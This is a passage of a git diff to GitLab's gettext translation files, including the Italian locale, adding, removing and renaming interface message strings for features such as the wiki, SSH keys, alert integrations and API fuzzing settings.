+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33653,6 +34468,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33751,9 +34569,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -33826,34 +34641,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Page title"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33865,9 +34695,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -33880,9 +34707,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -33943,6 +34767,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34099,6 +34926,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34240,6 +35073,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34324,9 +35160,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34363,12 +35196,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34402,7 +35229,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34417,9 +35244,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34603,12 +35427,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34729,6 +35559,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34822,7 +35655,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34929,6 +35762,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35231,6 +36067,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35415,6 +36260,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35585,7 +36433,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35620,13 +36468,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35740,9 +36585,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -35893,18 +36735,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -35935,9 +36771,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36004,15 +36837,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36290,9 +37114,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36338,6 +37159,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/it/gitlab.po b/locale/it/gitlab.po
index 1034447a246..6082567b7db 100644
--- a/locale/it/gitlab.po
+++ b/locale/it/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: it\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:55\n"
+"PO-Revision-Date: 2021-04-02 00:17\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -120,6 +120,11 @@ msgid_plural "%d changed files"
msgstr[0] ""
msgstr[1] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -203,6 +208,11 @@ msgid_plural "%d failed security jobs"
msgstr[0] ""
msgstr[1] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] "%d risultato del test risolto"
@@ -392,6 +402,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -404,6 +417,11 @@ msgstr "%{commit_author_link} fatto %{commit_timeago}"
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -430,19 +448,9 @@ msgstr "%{count} approvazioni da %{name}"
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} more"
msgstr "%{count} altro"
@@ -537,7 +545,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -930,6 +938,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr "%{usage_ping_link_start}scopri di più%{usage_ping_link_end} riguardo a quale informazione è condivisa con GitLab Inc."
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1063,6 +1074,9 @@ msgstr[1] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1143,6 +1157,11 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1163,6 +1182,16 @@ msgid_plural "%d hours"
msgstr[0] ""
msgstr[1] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] "1 richiesta di merge completata"
@@ -1173,6 +1202,11 @@ msgid_plural "%d minutes"
msgstr[0] ""
msgstr[1] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] "1 issue aperto"
@@ -1198,6 +1232,16 @@ msgid_plural "%{num} users"
msgstr[0] "1 utente"
msgstr[1] "%{num} utenti"
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1-9 contributions"
msgstr "1-9 contributi"
@@ -1315,9 +1359,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1327,13 +1368,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1408,9 +1446,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1429,13 +1464,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1447,6 +1494,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1459,16 +1509,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1477,16 +1530,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1519,9 +1572,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1699,6 +1749,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1729,11 +1782,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1779,6 +1827,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1854,6 +1905,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1881,9 +1935,6 @@ msgstr "Aggiungi intestazione e footer alle e-mail. Le impostazioni dei colori v
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -1911,6 +1962,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -1929,6 +1983,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2022,6 +2079,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2049,6 +2109,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2190,9 +2253,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2628,6 +2688,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2675,6 +2741,9 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2837,6 +2906,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2852,13 +2927,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2867,25 +2945,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2900,24 +2981,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2927,6 +3020,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2936,9 +3032,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2975,7 +3068,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3065,9 +3161,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3131,6 +3224,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3158,6 +3254,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3215,6 +3314,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3338,6 +3440,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr "Errore durante il recupero dei dati della barra laterale"
@@ -3350,9 +3455,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3443,7 +3545,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3581,9 +3683,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3785,6 +3884,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3808,6 +3910,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3817,6 +3922,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3826,9 +3934,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3966,6 +4071,12 @@ msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
msgstr[1] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4026,6 +4137,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4068,13 +4185,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4501,6 +4618,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
